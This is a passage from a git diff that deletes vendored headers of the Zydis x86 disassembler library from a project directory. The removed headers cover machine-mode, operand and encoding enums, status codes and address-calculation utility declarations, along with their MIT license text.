---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Machine mode */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisMachineMode` enum. - */ -typedef enum ZydisMachineMode_ -{ - /** - * 64 bit mode. - */ - ZYDIS_MACHINE_MODE_LONG_64, - /** - * 32 bit protected mode. - */ - ZYDIS_MACHINE_MODE_LONG_COMPAT_32, - /** - * 16 bit protected mode. - */ - ZYDIS_MACHINE_MODE_LONG_COMPAT_16, - /** - * 32 bit protected mode. - */ - ZYDIS_MACHINE_MODE_LEGACY_32, - /** - * 16 bit protected mode. - */ - ZYDIS_MACHINE_MODE_LEGACY_16, - /** - * 16 bit real mode. - */ - ZYDIS_MACHINE_MODE_REAL_16, - - /** - * Maximum value of this enum. - */ - ZYDIS_MACHINE_MODE_MAX_VALUE = ZYDIS_MACHINE_MODE_REAL_16, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_MACHINE_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MACHINE_MODE_MAX_VALUE) -} ZydisMachineMode; - -/* ---------------------------------------------------------------------------------------------- */ -/* Address width */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisAddressWidth` enum. - */ -typedef enum ZydisAddressWidth_ -{ - ZYDIS_ADDRESS_WIDTH_16, - ZYDIS_ADDRESS_WIDTH_32, - ZYDIS_ADDRESS_WIDTH_64, - - /** - * Maximum value of this enum. - */ - ZYDIS_ADDRESS_WIDTH_MAX_VALUE = ZYDIS_ADDRESS_WIDTH_64, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_ADDRESS_WIDTH_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ADDRESS_WIDTH_MAX_VALUE) -} ZydisAddressWidth; - -/* ---------------------------------------------------------------------------------------------- */ -/* Element type */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisElementType` enum. - */ -typedef enum ZydisElementType_ -{ - ZYDIS_ELEMENT_TYPE_INVALID, - /** - * A struct type. - */ - ZYDIS_ELEMENT_TYPE_STRUCT, - /** - * Unsigned integer value. - */ - ZYDIS_ELEMENT_TYPE_UINT, - /** - * Signed integer value. - */ - ZYDIS_ELEMENT_TYPE_INT, - /** - * 16-bit floating point value (`half`). - */ - ZYDIS_ELEMENT_TYPE_FLOAT16, - /** - * 32-bit floating point value (`single`). - */ - ZYDIS_ELEMENT_TYPE_FLOAT32, - /** - * 64-bit floating point value (`double`). - */ - ZYDIS_ELEMENT_TYPE_FLOAT64, - /** - * 80-bit floating point value (`extended`). - */ - ZYDIS_ELEMENT_TYPE_FLOAT80, - /** - * Binary coded decimal value. - */ - ZYDIS_ELEMENT_TYPE_LONGBCD, - /** - * A condition code (e.g. used by `CMPPD`, `VCMPPD`, ...). - */ - ZYDIS_ELEMENT_TYPE_CC, - - /** - * Maximum value of this enum. - */ - ZYDIS_ELEMENT_TYPE_MAX_VALUE = ZYDIS_ELEMENT_TYPE_CC, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_ELEMENT_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ELEMENT_TYPE_MAX_VALUE) -} ZydisElementType; - -/* ---------------------------------------------------------------------------------------------- */ -/* Element size */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisElementSize` datatype. - */ -typedef ZyanU16 ZydisElementSize; - -/* ---------------------------------------------------------------------------------------------- */ -/* Operand type */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisOperandType` enum. - */ -typedef enum ZydisOperandType_ -{ - /** - * The operand is not used. - */ - ZYDIS_OPERAND_TYPE_UNUSED, - /** - * The operand is a register operand. - */ - ZYDIS_OPERAND_TYPE_REGISTER, - /** - * The operand is a memory operand. - */ - ZYDIS_OPERAND_TYPE_MEMORY, - /** - * The operand is a pointer operand with a segment:offset lvalue. - */ - ZYDIS_OPERAND_TYPE_POINTER, - /** - * The operand is an immediate operand. - */ - ZYDIS_OPERAND_TYPE_IMMEDIATE, - - /** - * Maximum value of this enum. - */ - ZYDIS_OPERAND_TYPE_MAX_VALUE = ZYDIS_OPERAND_TYPE_IMMEDIATE, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_OPERAND_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_TYPE_MAX_VALUE) -} ZydisOperandType; - -/* ---------------------------------------------------------------------------------------------- */ -/* Operand encoding */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisOperandEncoding` enum. - */ -typedef enum ZydisOperandEncoding_ -{ - ZYDIS_OPERAND_ENCODING_NONE, - ZYDIS_OPERAND_ENCODING_MODRM_REG, - ZYDIS_OPERAND_ENCODING_MODRM_RM, - ZYDIS_OPERAND_ENCODING_OPCODE, - ZYDIS_OPERAND_ENCODING_NDSNDD, - ZYDIS_OPERAND_ENCODING_IS4, - ZYDIS_OPERAND_ENCODING_MASK, - ZYDIS_OPERAND_ENCODING_DISP8, - ZYDIS_OPERAND_ENCODING_DISP16, - ZYDIS_OPERAND_ENCODING_DISP32, - ZYDIS_OPERAND_ENCODING_DISP64, - ZYDIS_OPERAND_ENCODING_DISP16_32_64, - ZYDIS_OPERAND_ENCODING_DISP32_32_64, - ZYDIS_OPERAND_ENCODING_DISP16_32_32, - ZYDIS_OPERAND_ENCODING_UIMM8, - ZYDIS_OPERAND_ENCODING_UIMM16, - ZYDIS_OPERAND_ENCODING_UIMM32, - ZYDIS_OPERAND_ENCODING_UIMM64, - ZYDIS_OPERAND_ENCODING_UIMM16_32_64, - ZYDIS_OPERAND_ENCODING_UIMM32_32_64, - ZYDIS_OPERAND_ENCODING_UIMM16_32_32, - ZYDIS_OPERAND_ENCODING_SIMM8, - ZYDIS_OPERAND_ENCODING_SIMM16, - ZYDIS_OPERAND_ENCODING_SIMM32, - ZYDIS_OPERAND_ENCODING_SIMM64, - ZYDIS_OPERAND_ENCODING_SIMM16_32_64, - ZYDIS_OPERAND_ENCODING_SIMM32_32_64, - ZYDIS_OPERAND_ENCODING_SIMM16_32_32, - ZYDIS_OPERAND_ENCODING_JIMM8, - ZYDIS_OPERAND_ENCODING_JIMM16, - ZYDIS_OPERAND_ENCODING_JIMM32, - ZYDIS_OPERAND_ENCODING_JIMM64, - ZYDIS_OPERAND_ENCODING_JIMM16_32_64, - ZYDIS_OPERAND_ENCODING_JIMM32_32_64, - ZYDIS_OPERAND_ENCODING_JIMM16_32_32, - - /** - * Maximum value of this enum. - */ - ZYDIS_OPERAND_ENCODING_MAX_VALUE = ZYDIS_OPERAND_ENCODING_JIMM16_32_32, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_OPERAND_ENCODING_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_ENCODING_MAX_VALUE) -} ZydisOperandEncoding; - -/* ---------------------------------------------------------------------------------------------- */ -/* Operand visibility */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisOperandVisibility` enum. - */ -typedef enum ZydisOperandVisibility_ -{ - ZYDIS_OPERAND_VISIBILITY_INVALID, - /** - * The operand is explicitly encoded in the instruction. - */ - ZYDIS_OPERAND_VISIBILITY_EXPLICIT, - /** - * The operand is part of the opcode, but listed as an operand. - */ - ZYDIS_OPERAND_VISIBILITY_IMPLICIT, - /** - * The operand is part of the opcode, and not typically listed as an operand. - */ - ZYDIS_OPERAND_VISIBILITY_HIDDEN, - - /** - * Maximum value of this enum. - */ - ZYDIS_OPERAND_VISIBILITY_MAX_VALUE = ZYDIS_OPERAND_VISIBILITY_HIDDEN, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS = - ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_VISIBILITY_MAX_VALUE) -} ZydisOperandVisibility; - -/* ---------------------------------------------------------------------------------------------- */ -/* Operand action */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisOperandAction` enum. - */ -typedef enum ZydisOperandAction_ -{ - /* ------------------------------------------------------------------------------------------ */ - /* Elemental actions */ - /* ------------------------------------------------------------------------------------------ */ - - /** - * The operand is read by the instruction. - */ - ZYDIS_OPERAND_ACTION_READ = 0x01, - /** - * The operand is written by the instruction (must write). - */ - ZYDIS_OPERAND_ACTION_WRITE = 0x02, - /** - * The operand is conditionally read by the instruction. - */ - ZYDIS_OPERAND_ACTION_CONDREAD = 0x04, - /** - * The operand is conditionally written by the instruction (may write). - */ - ZYDIS_OPERAND_ACTION_CONDWRITE = 0x08, - - /* ------------------------------------------------------------------------------------------ */ - /* Combined actions */ - /* ------------------------------------------------------------------------------------------ */ - - /** - * The operand is read (must read) and written by the instruction (must write). - */ - ZYDIS_OPERAND_ACTION_READWRITE = ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_WRITE, - /** - * The operand is conditionally read (may read) and conditionally written by - * the instruction (may write). - */ - ZYDIS_OPERAND_ACTION_CONDREAD_CONDWRITE = - ZYDIS_OPERAND_ACTION_CONDREAD | ZYDIS_OPERAND_ACTION_CONDWRITE, - /** - * The operand is read (must read) and conditionally written by the - * instruction (may write). - */ - ZYDIS_OPERAND_ACTION_READ_CONDWRITE = - ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_CONDWRITE, - /** - * The operand is written (must write) and conditionally read by the - * instruction (may read). - */ - ZYDIS_OPERAND_ACTION_CONDREAD_WRITE = - ZYDIS_OPERAND_ACTION_CONDREAD | ZYDIS_OPERAND_ACTION_WRITE, - - /** - * Mask combining all reading access flags. - */ - ZYDIS_OPERAND_ACTION_MASK_READ = ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_CONDREAD, - /** - * Mask combining all writing access flags. - */ - ZYDIS_OPERAND_ACTION_MASK_WRITE = ZYDIS_OPERAND_ACTION_WRITE | ZYDIS_OPERAND_ACTION_CONDWRITE, - - /* ------------------------------------------------------------------------------------------ */ - - /** - * The minimum number of bits required to represent all values of this bitset. - */ - ZYDIS_OPERAND_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_ACTION_CONDWRITE) -} ZydisOperandAction; - -/** - * Defines the `ZydisOperandActions` data-type. - */ -typedef ZyanU8 ZydisOperandActions; - -/* ---------------------------------------------------------------------------------------------- */ -/* Instruction encoding */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisInstructionEncoding` enum. - */ -typedef enum ZydisInstructionEncoding_ -{ - /** - * The instruction uses the legacy encoding. - */ - ZYDIS_INSTRUCTION_ENCODING_LEGACY, - /** - * The instruction uses the AMD 3DNow-encoding. - */ - ZYDIS_INSTRUCTION_ENCODING_3DNOW, - /** - * The instruction uses the AMD XOP-encoding. - */ - ZYDIS_INSTRUCTION_ENCODING_XOP, - /** - * The instruction uses the VEX-encoding. - */ - ZYDIS_INSTRUCTION_ENCODING_VEX, - /** - * The instruction uses the EVEX-encoding. - */ - ZYDIS_INSTRUCTION_ENCODING_EVEX, - /** - * The instruction uses the MVEX-encoding. - */ - ZYDIS_INSTRUCTION_ENCODING_MVEX, - - /** - * Maximum value of this enum. - */ - ZYDIS_INSTRUCTION_ENCODING_MAX_VALUE = ZYDIS_INSTRUCTION_ENCODING_MVEX, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_INSTRUCTION_ENCODING_REQUIRED_BITS = - ZYAN_BITS_TO_REPRESENT(ZYDIS_INSTRUCTION_ENCODING_MAX_VALUE) -} ZydisInstructionEncoding; - -/* ---------------------------------------------------------------------------------------------- */ -/* Opcode map */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisOpcodeMap` enum. - */ -typedef enum ZydisOpcodeMap_ -{ - ZYDIS_OPCODE_MAP_DEFAULT, - ZYDIS_OPCODE_MAP_0F, - ZYDIS_OPCODE_MAP_0F38, - ZYDIS_OPCODE_MAP_0F3A, - ZYDIS_OPCODE_MAP_0F0F, - ZYDIS_OPCODE_MAP_XOP8, - ZYDIS_OPCODE_MAP_XOP9, - ZYDIS_OPCODE_MAP_XOPA, - - /** - * Maximum value of this enum. - */ - ZYDIS_OPCODE_MAP_MAX_VALUE = ZYDIS_OPCODE_MAP_XOPA, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_OPCODE_MAP_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPCODE_MAP_MAX_VALUE) -} ZydisOpcodeMap; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_SHAREDTYPES_H */ diff --git a/src/Theodosius/Zydis/ShortString.h b/src/Theodosius/Zydis/ShortString.h deleted file mode 100644 index bed45af..0000000 --- a/src/Theodosius/Zydis/ShortString.h +++ /dev/null @@ -1,90 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Defines the immutable and storage-efficient `ZydisShortString` struct, which - * is used to store strings in the generated tables. - */ - -#ifndef ZYDIS_SHORTSTRING_H -#define ZYDIS_SHORTSTRING_H - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -#pragma pack(push, 1) - -/** - * Defines the `ZydisShortString` struct. - * - * This compact struct is mainly used for internal string-tables to save up some bytes. - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZydisShortString_ -{ - /** - * The buffer that contains the actual (null-terminated) string. - */ - const char* data; - /** - * The length (number of characters) of the string (without 0-termination). - */ - ZyanU8 size; -} ZydisShortString; - -#pragma pack(pop) - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/** - * Declares a `ZydisShortString` from a static C-style string. - * - * @param string The C-string constant. - */ -#define ZYDIS_MAKE_SHORTSTRING(string) \ - { string, sizeof(string) - 1 } - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_SHORTSTRING_H */ diff --git a/src/Theodosius/Zydis/Status.h b/src/Theodosius/Zydis/Status.h deleted file mode 100644 index d2a75f3..0000000 --- a/src/Theodosius/Zydis/Status.h +++ /dev/null @@ -1,159 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Status code definitions and check macros. - */ - -#ifndef ZYDIS_STATUS_H -#define ZYDIS_STATUS_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Status codes */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Module IDs */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * The zydis module id. - */ -#define ZYAN_MODULE_ZYDIS 0x002u - -/* ---------------------------------------------------------------------------------------------- */ -/* Status codes */ -/* ---------------------------------------------------------------------------------------------- */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Decoder */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * An attempt was made to read data from an input data-source that has no more - * data available. - */ -#define ZYDIS_STATUS_NO_MORE_DATA \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x00u) - -/** - * An general error occured while decoding the current instruction. The - * instruction might be undefined. - */ -#define ZYDIS_STATUS_DECODING_ERROR \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x01u) - -/** - * The instruction exceeded the maximum length of 15 bytes. - */ -#define ZYDIS_STATUS_INSTRUCTION_TOO_LONG \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x02u) - -/** - * The instruction encoded an invalid register. - */ -#define ZYDIS_STATUS_BAD_REGISTER \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x03u) - -/** - * A lock-prefix (F0) was found while decoding an instruction that does not - * support locking. - */ -#define ZYDIS_STATUS_ILLEGAL_LOCK \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x04u) - -/** - * A legacy-prefix (F2, F3, 66) was found while decoding a XOP/VEX/EVEX/MVEX - * instruction. - */ -#define ZYDIS_STATUS_ILLEGAL_LEGACY_PFX \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x05u) - -/** - * A rex-prefix was found while decoding a XOP/VEX/EVEX/MVEX instruction. - */ -#define ZYDIS_STATUS_ILLEGAL_REX \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x06u) - -/** - * An invalid opcode-map value was found while decoding a XOP/VEX/EVEX/MVEX-prefix. - */ -#define ZYDIS_STATUS_INVALID_MAP \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x07u) - -/** - * An error occured while decoding the EVEX-prefix. - */ -#define ZYDIS_STATUS_MALFORMED_EVEX \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x08u) - -/** - * An error occured while decoding the MVEX-prefix. - */ -#define ZYDIS_STATUS_MALFORMED_MVEX \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x09u) - -/** - * An invalid write-mask was specified for an EVEX/MVEX instruction. - */ -#define ZYDIS_STATUS_INVALID_MASK \ - ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYDIS, 0x0Au) - -/* ---------------------------------------------------------------------------------------------- */ -/* Formatter */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returning this status code in some specified formatter callbacks will cause - * the formatter to omit the corresponding token. - * - * Valid callbacks: - * - `ZYDIS_FORMATTER_FUNC_PRE_OPERAND` - * - `ZYDIS_FORMATTER_FUNC_POST_OPERAND` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_REG` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_MEM` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_PTR` - * - `ZYDIS_FORMATTER_FUNC_FORMAT_OPERAND_IMM` - */ -#define ZYDIS_STATUS_SKIP_TOKEN \ - ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYDIS, 0x0Bu) - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_STATUS_H */ diff --git a/src/Theodosius/Zydis/Utils.h b/src/Theodosius/Zydis/Utils.h deleted file mode 100644 index aef9e96..0000000 --- a/src/Theodosius/Zydis/Utils.h +++ /dev/null @@ -1,275 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Other utility functions. - */ - -#ifndef ZYDIS_UTILS_H -#define ZYDIS_UTILS_H - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Constants */ -/* ---------------------------------------------------------------------------------------------- */ - -#define ZYDIS_MAX_INSTRUCTION_SEGMENT_COUNT 9 - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/** - * Defines the `ZydisInstructionSegment` struct. - */ -typedef enum ZydisInstructionSegment_ -{ - ZYDIS_INSTR_SEGMENT_NONE, - /** - * The legacy prefixes (including ignored `REX` prefixes). - */ - ZYDIS_INSTR_SEGMENT_PREFIXES, - /** - * The effective `REX` prefix byte. - */ - ZYDIS_INSTR_SEGMENT_REX, - /** - * The `XOP` prefix bytes. - */ - ZYDIS_INSTR_SEGMENT_XOP, - /** - * The `VEX` prefix bytes. - */ - ZYDIS_INSTR_SEGMENT_VEX, - /** - * The `EVEX` prefix bytes. - */ - ZYDIS_INSTR_SEGMENT_EVEX, - /** - * The `MVEX` prefix bytes. - */ - ZYDIS_INSTR_SEGMENT_MVEX, - /** - * The opcode bytes. - */ - ZYDIS_INSTR_SEGMENT_OPCODE, - /** - * The `ModRM` byte. - */ - ZYDIS_INSTR_SEGMENT_MODRM, - /** - * The `SIB` byte. - */ - ZYDIS_INSTR_SEGMENT_SIB, - /** - * The displacement bytes. - */ - ZYDIS_INSTR_SEGMENT_DISPLACEMENT, - /** - * The immediate bytes. - */ - ZYDIS_INSTR_SEGMENT_IMMEDIATE, - - /** - * Maximum value of this enum. - */ - ZYDIS_INSTR_SEGMENT_MAX_VALUE = ZYDIS_INSTR_SEGMENT_IMMEDIATE, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_INSTR_SEGMENT_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_INSTR_SEGMENT_MAX_VALUE) -} ZydisInstructionSegment; - -/** - * Defines the `ZydisInstructionSegments` struct. - */ -typedef struct ZydisInstructionSegments_ -{ - /** - * The number of logical instruction segments. - */ - ZyanU8 count; - struct - { - /** - * The type of the segment. - */ - ZydisInstructionSegment type; - /** - * The offset of the segment relative to the start of the instruction (in bytes). - */ - ZyanU8 offset; - /** - * The size of the segment, in bytes. - */ - ZyanU8 size; - } segments[ZYDIS_MAX_INSTRUCTION_SEGMENT_COUNT]; -} ZydisInstructionSegments; - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * @addtogroup utils Utils - * Miscellaneous utility functions. Address translation and other helpers. - * @{ - */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Address calculation */ -/* ---------------------------------------------------------------------------------------------- */ - -// TODO: Provide a function that works in minimal-mode and does not require a operand parameter - -/** - * Calculates the absolute address value for the given instruction operand. - * - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param operand A pointer to the `ZydisDecodedOperand` struct. - * @param runtime_address The runtime address of the instruction. - * @param result_address A pointer to the memory that receives the absolute address. - * - * @return A zyan status code. - * - * You should use this function in the following cases: - * - `IMM` operands with relative address (e.g. `JMP`, `CALL`, ...) - * - `MEM` operands with `RIP`/`EIP`-relative address (e.g. `MOV RAX, [RIP+0x12345678]`) - * - `MEM` operands with absolute address (e.g. `MOV RAX, [0x12345678]`) - * - The displacement needs to get truncated and zero extended - */ -ZYDIS_EXPORT ZyanStatus ZydisCalcAbsoluteAddress(const ZydisDecodedInstruction* instruction, - const ZydisDecodedOperand* operand, ZyanU64 runtime_address, ZyanU64* result_address); - -/** - * Calculates the absolute address value for the given instruction operand. - * - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param operand A pointer to the `ZydisDecodedOperand` struct. - * @param runtime_address The runtime address of the instruction. - * @param register_context A pointer to the `ZydisRegisterContext` struct. - * @param result_address A pointer to the memory that receives the absolute target-address. - * - * @return A zyan status code. - * - * This function behaves like `ZydisCalcAbsoluteAddress` but takes an additional register-context - * argument to allow calculation of addresses depending on runtime register values. - * - * Note that `IP/EIP/RIP` from the register-context will be ignored in favor of the passed - * runtime-address. - */ -ZYDIS_EXPORT ZyanStatus ZydisCalcAbsoluteAddressEx(const ZydisDecodedInstruction* instruction, - const ZydisDecodedOperand* operand, ZyanU64 runtime_address, - const ZydisRegisterContext* register_context, ZyanU64* result_address); - -/* ---------------------------------------------------------------------------------------------- */ -/* Accessed CPU flags */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns a mask of accessed CPU-flags matching the given `action`. - * - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param action The CPU-flag action. - * @param flags Receives the flag mask. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisGetAccessedFlagsByAction(const ZydisDecodedInstruction* instruction, - ZydisCPUFlagAction action, ZydisCPUFlags* flags); - -/** - * Returns a mask of accessed CPU-flags that are read (tested) by the current instruction. - * - * DEPRECATED. This function will be removed in the next major release. Please refer to the - * `cpu_flags_read` or `fpu_flags_read` fields of the `ZydisDecodedInstruction` instead. - * - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param flags Receives the flag mask. - * - * @return A zyan status code. - */ -ZYDIS_DEPRECATED_EXPORT ZyanStatus ZydisGetAccessedFlagsRead( - const ZydisDecodedInstruction* instruction, ZydisCPUFlags* flags); - -/** - * Returns a mask of accessed CPU-flags that are written (modified, undefined) by the current - * instruction. - * - * DEPRECATED. This function will be removed in the next major release. Please refer to the - * `cpu_flags_written` or `fpu_flags_written` fields of the `ZydisDecodedInstruction` instead. - * - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param flags Receives the flag mask. - * - * @return A zyan status code. - */ -ZYDIS_DEPRECATED_EXPORT ZyanStatus ZydisGetAccessedFlagsWritten( - const ZydisDecodedInstruction* instruction, ZydisCPUFlags* flags); - -/* ---------------------------------------------------------------------------------------------- */ -/* Instruction segments */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns offsets and sizes of all logical instruction segments (e.g. `OPCODE`, - * `MODRM`, ...). - * - * @param instruction A pointer to the `ZydisDecodedInstruction` struct. - * @param segments Receives the instruction segments information. - * - * @return A zyan status code. - */ -ZYDIS_EXPORT ZyanStatus ZydisGetInstructionSegments(const ZydisDecodedInstruction* instruction, - ZydisInstructionSegments* segments); - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * @} - */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_UTILS_H */ diff --git a/src/Theodosius/Zydis/Zydis.h b/src/Theodosius/Zydis/Zydis.h deleted file mode 100644 index a0d2d87..0000000 --- a/src/Theodosius/Zydis/Zydis.h +++ /dev/null @@ -1,169 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE 